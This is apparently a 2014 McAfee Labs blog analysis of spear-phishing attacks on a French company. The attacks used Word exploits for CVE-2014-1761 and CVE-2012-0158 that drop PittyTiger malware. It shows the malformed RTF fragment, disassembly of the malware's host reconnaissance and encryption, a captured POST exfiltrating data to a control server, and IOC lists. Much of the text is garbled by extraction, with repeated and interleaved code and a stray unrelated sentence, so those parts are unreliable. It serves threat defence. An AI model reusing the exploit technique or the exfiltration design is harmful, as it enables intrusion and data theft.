# Targeted Attacks on French Company Exploit Multiple Word Vulnerabilities

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#### Chintan Shah

Jul 15, 2014

#### 7 MIN READ

Spear phishing email is a major worry to any organization. Messages that appear legitimate and specific fool us more often than random phishing attempts. Exploits that use patched vulnerabilities delivered via spear phishing email are one of the most successful combinations used by attackers to infiltrate targeted organizations and gain access to confidential information.

During the last month, McAfee Labs researchers have uncovered targeted attacks carried out via spear phishing email against a French company. We have seen email sent to a large group of individuals in the organization. The attachments exploit the recently patched RTF vulnerability CVE-2014-1761 and the previously patched ActiveX control vulnerability CVE-2012-0158. Both of these vulnerabilities have been popular in several ongoing targeted attacks.



It is my draft , I want to get your suggestion. Many thanks.

The preceding spear phishing emails come from attackers using the French Yahoo and Laposte email services and possibly impersonating employees of the targeted organization.

١

Thu 5/15/2014 2:23 PM projet - version finale	
Message 🔄 👘 projet.doc 🔶 Attachment exploit : RTF 0 Day CVE-	
2014-1761	
Bonjour,	
Comme prévu, je vous joins la version courant de mon projet. Si vous avez le temps de lire le papier et que vous avez des commentaires, n'hésitez surtout pa	as.
Hello,	
As expected, I am attaching the current version of my project. If you have time to read the paper and you have any comments, do not hesitate.	

# **RTF Vulnerability**

These exploits target the recently discovered RTF zero-day vulnerability CVE-2014-1761. The flaw lies in the value of the "ListOverrideCount," which is set to 25.

)8\hr3\min9)n9)overridetable(\listoverride\listid1094795535\listoverridecount25
<pre>level &gt; {\lfolevel &gt; {\\folevel &gt; {\\folevel &gt; {\\folevel &gt; {\\folevel &gt; {\\folevel &gt; {\\folevel &gt; {\\fo</pre>
\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\level
\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\level
\levelnfc0\levelnfcn232\leveljc0\leveljcn0\levelfollow39\levelstartat31611\level
\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\level
$\label{eq:level_fc0} \label{eq:level_fc0} $

However, according to Microsoft's RTF specifications this value should be

either 1 or 9. This error eventually causes an out-of-bounds array overwrite that results in incorrect handling of the structure by Word and leads to the attacker's controlling an extended instruction pointer (EIP).

## Shellcode

McAfee Labs researchers discovered that all the bytes of the shellcode, the return oriented programming (ROP) chain, are directly controlled by the attacker and come straight from the RTF structure. Here is a high-level view of how the ROP chain is formed:



D Dump -	D Dump - 015400000154FFFF																	
01544930	7B	<b>7</b> B	00	00	E8	48	5A	27	89	64	59	27	EF	<b>B</b> 8	58	27	{{èHZ'%dY'ï,X'	*
01544940	59	59	00	00	5A	5A	00	00	19	00	00	00	18	00	00	00	YYZZ	
01544950	00	00	00	00	00	96	56	01	00	97	5B	01	48	4F	51	01	V[ HOÇ	
01544960	7B	7B	00	00	F9	00	92	5A	44	43	42	41	19	84	59	27	{{ù.'ZDCBA "Y'	
01544970	59	59	00	00	5A	5A	00	00	0A	00	00	00	00	00	00	00	YYZZ	

%TEMP%directoryandthen connects to the control server.

(McAfee Labs researchers Haifei Li and Xie Jun <u>have already blogged</u> on the technical details of the vulnerability and the shellcode.)

In this cycle of spear phishing attacks we've also seen email targeting the same organization with attachments that exploit the two-year-old CVE -2012-0158 vulnerability. The malicious payload arrives in the innocuous-sounding article.doc.

- Call Context														
Call Reference	H2	020 - LEI	TICT		Fund	ing rate		100 9	6					
Call Open					Subr	nission cle	ose .	23/04/2014						
2 - Proposal Identification and overview														
Acconym	NO	ISY		Prope	osal No									
Proposal Title	Not	sy Crypto	graphy for	the In	ernet (	of Things								
Topic Reference	ICI	32												
Project type	R	x												
	I						L			I				
	A			1			L			I				

Project Template (Draft)

The following API trace gives an idea of the sequence of activities once the exploit is launched on the system:

### Payload Analysis

Our analysis of the dropped binary reveals that it was specifically



reconnaissance. The payload seems to have been compiled on April 9:

The malware starts by retrieving the %Temp% path and prepares to log the communication with its control server in the file %Temp%explorer.exe.

Subsequently, the malware collecting following information:

- Hostname
- Username
- System type by resolving IsWOW64Process AP

•				Current TCP and UDP
000000DC	014C	Machine	IMAGE_FILE_MACHINE_I386	connections and anon nexts
000000DE 000000E0 000000E4 000000E8 000000EC 000000EE	0003 53449BEA 00000000 0000000 00E0 010F	Number of Sections Time Date Stamp Pointer to Symbol Table Number of Symbols Size of Optional Header Characteristics 0001 0002 0004 0008 0100	2014/04/09 Wed 01:01:30 UTC IMAGE_FILE_RELOCS_STRIPPED IMAGE_FILE_EXECUTABLE_IMAGE IMAGE_FILE_LINE_NUMS_STRIPPED IMAGE_FILE_LOCAL_SYMS_STRIPPEI IMAGE_FILE_32BIT_MACHINE	<ul> <li>Organizational information from the registry key:</li> </ul>
00401033 00401036 0040103A 0040103A 00401040 00401042	nov nov call test jz	[ebp-1Ch], ebx byte ptr [ebp-4], ds:GetTempPathA eax, eax loc_4012D2	1	
0040194 0040105 0040105 0040105 0040105 0040105 0040105 0040105 0040106 0040106 0040106 0040106 0040107 0040107 0040107 0040107	8 push D lea 3 push 4 push 5 call A add D lea 3 push 8 push 9 push A call F add 2 lea 8 push D push D push E push	offset aExp eax, [ebp-120h] esi eax string_concat esp, 0Ch eax, [ebp-120h] offset aLo esi eax string_concat esp, 0Ch eax, [ebp-120h] offset aRer esi eax	; "exp" ; int ; lpString ; "lo" ; lpString ; "lo" ; lpString ; "lo" ; lpString ; "rer" ; lpString ; "source ; int ; lpString ; lpString ; "rer" ; lpString ; "rer" ; lpString ; "rer" ; lpString ; lpString ; "rer" ; lpString ; lpString ; "rer" ; lpString ; lpString ; lpString ; lpString ; lpString ; mage: source ; lpString ; mage: source ; lpString ; mage: source ; lpString ; mage: source ; mage: source ; lpString ; mage: source ; mage: source	toc_4012D2: pr dword ptr [6 tea ecx, [ebp-22 sall nullsub_1 nov ecx, [ebp-00 push 1 pop eax pop edi nov large fs:0, pop ebx teave retn 10h start endp
0040108 0040108	F call 4 add 7 lea	string_concat esp, 0Ch eax, [ebp-120h]		

HKLM/Software/Microsoft/WindowsNT/CurrentVersion,

- Productname,
- CSDVersion,
- CurrentVersion,
- CurrentBuildNumber,
- RegisteredOrganization,
- RegisteredOwner
- Current running system services
- Installed software from the registry key:

HKLM/Software/Microsoft/Windows/CurrentVersion/Uninstall

• Information about network adapters, IP configuration, netcard numbers, IP mask, gateway, DHCP server, DHCP host, WINS server, and WINS host

Here is a high-level snapshot of the malware's information gathering code:

88481863	pusii	601 ; THC	I
004010C4	push	esi ; 1pString	Gets the System hostname. Username
004010C5	call	Get_Username_Hostname_Systemtype	dets the System nostname, Osemane
884818CA	add	esp, 14h	and Systemtype ( 32 bit / 64 bit )
884818CD	push	edi ; int	
004010CE	push	esi ; 1pString	Gate the OS info / Version Regisetered
004010CF	call	Get_OSVersion_Organization_info_from_Registry	dets the oblinio / version, Regisetered
004010D4	рор	ecx	Owner / Organization and product name
004010D5	рор	ecx	
884818D6	push	edi ; int	
884818D7	push	esi ; 1pString	Potriovos the existing TCP / LIDP
004010D8	call	Get_Tcp_Udp_Connections_and_Ports	Retrieves the existing TCF / ODF
884818DD	рор	ecx	connections and open ports on the
004010DE	рор	ecx	system
004010DF	push	edi ; int	system
004010E0	push	esi ; 1pString	Patriaves the current running services
004010E1	call	Get_Current_Running_Services	Retrieves the current running services
004010E6	рор	ecx	
004010E7	pop	ecx	
004010E8	push	edi ; int	
004010E9	push	esi ; 1pString	Retrieves the installed softwares from
004010EA	call	Get_Installed_Softwares	the registry
004010EF	рор	ecx	
004010F0	pop	ecx	
004010F1	push	edi ; int	
004010F2	push	esi ; 1pString	Retrieves IPConfig , Netmask , Gateway,
004010F3	call	Get_Adaptors_IPConfig_NetCardNumbers	DHCP Server . DHCP Host . WINS Server .
004010F8	nov	ebx, ds:1strlenA	
004010FE	рор	ecx	WINS Host , Network Adaptors , Netcard
004010FF	pop	ecx	Numbers , MAC Address ,
00401100	push	esi ; ipstring	,
00401101	call	ebx ; istrienA	
00401103	pusn	ed1	
00401104	push	esi ; str	
00401105	call	strien	
00401108	pop	ecx	
0040110B	push	eax	
00401100	pusn	esi teha 000bl	Executes GetSystemTime( ) API to form
0040110D	169	ecx, [eop-220n]	the encryption key
00401113	call	Encrypt_butter_with_GetSystemiine	the end yphon key
00401118	test	eax, eax	1

Encryption is primarily done using the SYSTEMTIME structure. It forms the repetitive 256byte key using SYSTEMTIME information, shown below:

			The
•	33DB	XOR EBX, EBX	
·	2945 FC	SUB [LOCAL.1], EAX	maiware
•	B9 0001000	MOV ECX,100	converts
> r	8B45 FC	MOV BAX, [LOCAL.1]	
	8DB41D FCI	LEA ESI, DWORD PTR SS: [EBP+EBX-104]	тпе кеу
• •	881C30	MOV BYTE PTR DS: [EAX+ESI], BL	into 16
	8BC3	MOV EAX, EBX	
• •	99	CDQ	bytes to
	F77D OC	IDIV [ARG.2]	
· -	8B45 08	MOV EAX, [ARG.1]	
·	43	INC EBX	
·	3BD9	CMP EBX, ECX	
• •	8A0402	MOV AL, BYTE PTR DS: [EDX+EAX]	
·	8806	MOV BYTE PTR DS: [ESI], AL	
1.^	7C E0	JL SHORT svohost.004022C1	
>	8065 OF 00	AND BYTE PTR SS: [EBP+F], 0	
	ODDE BORD	TRE BOT FROME /CI	

12FD50]=00000150

4022br																		
	Hex	c du	ump														ASCII	Repetitive 16 x 16 Byte
	DE	07	06	00	02	00	18	00	09	00	06	00	22	00	ΕE	01	₽00.0.0	SYSTEMTIME structure
	DE	07	06	00	02	00	18	00	09	00	06	00	22	00	EE	01	₽00.0.0	
	DE	07	06	00	02	00	18	00	09	00	06	00	22	00	ΕE	01	₽00.0.0	
	DE	07	06	00	02	00	18	00	09	00	06	00	22	00	20	28	₽00.0.0	

encrypt the information.

48 6F 73 74 4E 61 6D 65 20 3A HostName :
OD 0A 55 73 65 72 4E
61 6D 65 20 3A ame :
6F 72 0D 0A 53 79 73 54 79 70 65 20 20 3A 33 32 or8ysType :32
62 69 74 0D 0A 0D 0A 4D 69 63 72 6F 73 6F 66 74 bitMicrosoft
20 57 69 6E 64 6F 77 73 20 58 50 20 53 65 72 76 Windows XP Serv
69 63 65 20 50 61 63 68 20 32 20 35 2E 31 20 32 ice Pack 2 5.1 2
36 30 30 0D 0A 4F 72 67 61 6E 69 7A 61 74 69 6F 600Organizatio
6E 3A 0D 0A 4F 77 6E 65 72 3A n:Owner:
OD OA 2D
2D 2
2D 20 50 6F 72 74 73 20 26 20 50 72 6F 63 20 2D - Ports & Proc -
2D 2
2D 0D 0A 31 20 20 20 20 541 T
43 50 20 30 2E 30 2E 30 2E 30 20 20 20 20 20 20 CP 0.0.0.0
20 20 20 20 20 20 20 20 3A 31 33 35 20 20 20 20 :135
20 30 28 30 28 30 28 30 20 20 20 20 20 20 20 20 20 0.0.0.0
20 20 20 20 20 20 3A 31 33 35 20 20 20 20 20 4C :135 L
49 53 54 45 4E 49 4E 47 20 20 20 20 20 20 20 20 20 INTENING
20 20 39 38 34 20 20 3C 75 6E 6B 6E 6F 77 6E 3E 984 <unknown></unknown>
DD 0A 32 20 20 20 20 54 43 50 20 30 2E 30 2E 302 TCP 0.0.0

Once the buffer has been encrypted, it connects to the control server sophos.skypetm.com.tw.

00401125       10c_401125:       ; "sophos.skypetm.com.tw"         00401125       mov       ebx, offset szServerName         00401125       mov       ebx, offset szServerName         00401125       mov       ebx, offset szServerName         00401126       push       3Ah       ; Ch         00401120       call       ds:strrchr         00401133       pop       ecx         00401134       mov       [ebp-18h], eax         00401137       test       eax, eax
09401125       loc_401125:       ; "sophos.skypetm.com.tw"         09401125       mov       ebx, offset szServerName         09401125       mov       ebx, offset szServerName         09401126       push       3Ah       ; Ch         09401120       call       ds:strrchr         09401133       pop       ecx         09401134       mov       [ebp-18h], eax         09401137       test       eax, eax
00401125       mov       ebx, offset szServerName         0040112A       push       3Ah       ; Ch         0040112C       push       ebx       ; Str         0040112D       call       ds:strrchr         00401133       pop       ecx         00401134       mov       [ebp-18h], eax         00401137       test       eax, eax
0040112A       push       3Ah       ; Ch         0040112C       push       ebx       ; Str         0040112D       call       ds:strrchr         00401133       pop       ecx         00401134       mov       [ebp-18h], eax         00401137       test       eax, eax
0040112C push       ebx       ; Str         0040112D call       ds:strrchr         00401133 pop       ecx         00401134 mov       [ebp-18h], eax         00401137 test       eax, eax
0040112D call ds:strrchr 00401133 pop ecx 00401134 mov [ebp-18h], eax 00401137 test eax, eax
00401133 pop ecx 00401134 mov [ebp-18h], eax 00401137 test eax, eax
00401134 mov [ebp-18h], eax 00401137 test eax, eax
00401137 test eax, eax
00101100 000
88481139 pop ecx
0040113A jz short loc_401151
· · · · · · · · · · · · · · · · · · ·
8848113C inc eax
0040113D push eax : Str
0040113E call ds:atoi
00401144 mov nServerPort, ax
8040114A mov eax, [ebp-18h]
0040114D pop ecx
0040114E and byte ptr [eax], 0
÷ +
00401151
00401151 loc 401151:
00401151 mov ax, nServerPort
00401157 push eax : nServerPort
00401158 push offset szObjectName ; "/dr.asp"
0040115D push ebx ; 1pszServerNane
0040115E push edi ; int
0040115F push dword ptr [ebp-14h]; dw0ptionalLength
00401162 push esi ; 1p0ptional
00401163 call connect_CommandAndControl
00401168 add esp, 18h

00000000	50	4f	53	54	20	2f	64	72	2e	61	73	70	20	48	54	54	POST /dr	.asp HTT	
00000010	50	2f	31	2e	31	0d	0a	43	6f	6e	74	65	6e	74	2d	4c	P/1.1C	ontent-L	
00000020	65	6e	67	74	68	3a	20	36	34	32	39	0d	0a	55	73	65	ength: 6	429Use	
00000030	72	2d	41	67	65	6e	74	3a	20	4d	6f	7a	69	6c	6c	61	r-Agent:	Mozilla	
00000040	2f	34	2e	30	20	28	63	6f	6d	70	61	74	69	62	6c	65	/4.0 (co	mpatible	
00000050	3b	29	0d	0a	48	6f	73	74	3a	20	73	6f	70	68	6f	73	;)Host	: sophos	
00000060	2e	73	6b	79	70	65	74	6d	2e	63	6f	6d	2e	74	77	0d	.skypetm	.com.tw.	
0000070	0a	43	6f	<u>6e</u>	6e	65	63	74	69	6f	6e	3a	20	4b	65	65	.Connect	ion: Kee	
00000080	70	2d	41	6c	69	76	65	0d	0a	43	61	63	68	65	2d	43	p-Alive.	.Cache-C	
00000090	6f	6e	74	72	6f	6C	3a	20	6e	6f	2d	63	61	63	68	65	ontrol:	no-cache	
000000A0	<u>0d</u>	0a	0d	0a															
000000A4	c3	ad	2b	f4	d2	97	92	ec	f4	6d	00	20	6c	af	ad	8c		.m. l	
000000B4	b6	e9	ff	ac	b6	<b>a</b> 6	24	33	87	<b>c</b> 9	2a	d4	a2	a8	cf	28	\$3	*	
000000C4	9a	82	66	05	2c	38	9b	55	<b>a</b> 7	b9	34	CC	13	23	07	b4	f.,8.U	4#.	Encrypted buffer
000000D4	17	7e	46	af	a8	73	df	a6	20	<b>b</b> 7	b3	<b>c</b> 8	<b>e</b> 0	14	38	df	.~Fs	8	
000000E4	76	cd	a0	23	b4	ea	60	2f	61	02	90	03	21	d2	d6	3f	v#`/	a!?	
000000F4	e3	47	3a	69	96	<b>c</b> 8	9c	85	83	a4	3d	49	20	bb	49	f9	.G:i	=I .I	
00000104	3b	49	17	08	e8	24	58	75	88	d4	9e	2d	ae	73	8b	f9	;I\$Xu	S.	
00000114	27	b7	b4	08	00	0e	ad	cd	3a	72	14	ea	39	ab	се	8b	· · · · · · · · · ·	:r9	
00000124					0.7	0.0	-		-		0.0	0		0	_	-			

# **Command and Control Research**

During our analysis of this exploit, sophos.skypetm.com.tw resolved to the IP address 66.220.4.100. located in the Fremont, California. McAfee sensors first observed the outbound traffic to this domain on January 27, at which time it resolved to 198.100.113.27, located in Los Angeles.

From our passive DNS data, we found following MD5 hashes connecting to the same domain resolving to 198.100.113.27.

4ab74387f7a02c115deea2110f961fd3	January 27, 2014	sophos.skypetm.com.tw
8dc8e02e06ca7c825d42d82ec19d8377	January 28, 2014	sophos.skypetm.com.tw
0331417d7fc3d075128da1353ae880d8	March 30, 2014	sophos.skypetm.com.tw
5e2360a8c4a0cce1ae22919d8bff49fd	April 25, 2014	sophos.skypetm.com.tw

The whois record reveals that the skypetm.com.tw domain has been registered under the email ID longsa33@yahoo.com. This ID also registered the domain avstore.com.tw, which has been used as the control server.



several other malware binaries communicating with the various subdomains of skypetm.com.tw and avstore.com.tw. All of them have been identified as "PittyTiger" malware, which appears in numerous CVE-2012-0158 exploits used in recent targeted attacks. The same payload was used in the "Tomato Garden" APT campaign, uncovered in June 2013, against Tibetan and Chinese democracy activists.

Version:

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### -----PittyTigerV1.0 http://%s:%d/FC001/%s trj:workFunc start. Connect to Internet

Unknow

65809985e57b9143a24ac57cccde8c77	asdf.skypetm.com.tw	113.10.240.54
vbnm.skypetm.com.tw	122.10.39.52	
c0656b66b9f4180e59e1fd2f9f1a85f2	zeng.skypetm.com.tw	113.10.221.126
b84342528942cec03f5f2976294613ba	gmail.skypetm.com.tw	122.208.59.188
d4f96dba1900d53f1d33ee66f7e5996d	gmail.skypetm.com.tw	122.208.59.188
b84342528942cec03f5f2976294613ba	gmail.skypetm.com.tw:8080	122.208.59.188
d4f96dba1900d53f1d33ee66f7e5996d	gmail.skypetm.com.tw:8080	122.208.59.188
2be9fc56017aab1827bd30c9b2e3fc27	jamessmith.avstore.com.tw	58.64.175.191
be18418cafdb9f86303f7e419a389cc9	chanxe.avstore.com.tw	122.10.48.189
65809985e57b9143a24ac57cccde8c77	asdf.avstore.com.tw	122.10.39.105
17bc87b13b0a26caa2eb9a0d2a23fc72	bluer.avstore.com.tw	58.64.185.200
90f3973578ec9e2da4fb7f22da744e4c	avast.avstore.com.tw	198.100.121.15

\_\_\_\_\_

Additional domains related to this attack:

- 63.251.83.36
- 64.74.96.242
- 69.251.142.1
- 218.16.121.32
- 61.145.112.78
- star.yamn.net
- 216.52.184.230
- 212.118.243.118
- bz.kimoo.com.tw
- mca.avstore.com.tw

### McAfee Product Coverage

McAfee coverage for CVE 2014-1761 <u>is detailed here.</u> McAfee Advance Threat Defense provides zero-day detection for CVE 2012-0158.

As usual, exercise extreme caution when opening documents from unknown sources and use the latest versions of software.

I would like to thank my colleague S. R. Venkatachalabathy for assistance in this research.

#### Chintan Shah

Chintan Shah is currently working as a Security Researcher with McAfee Intrusion Prevention System team and holds broad experience in the network security industry. He primarily focuses on Exploit and...

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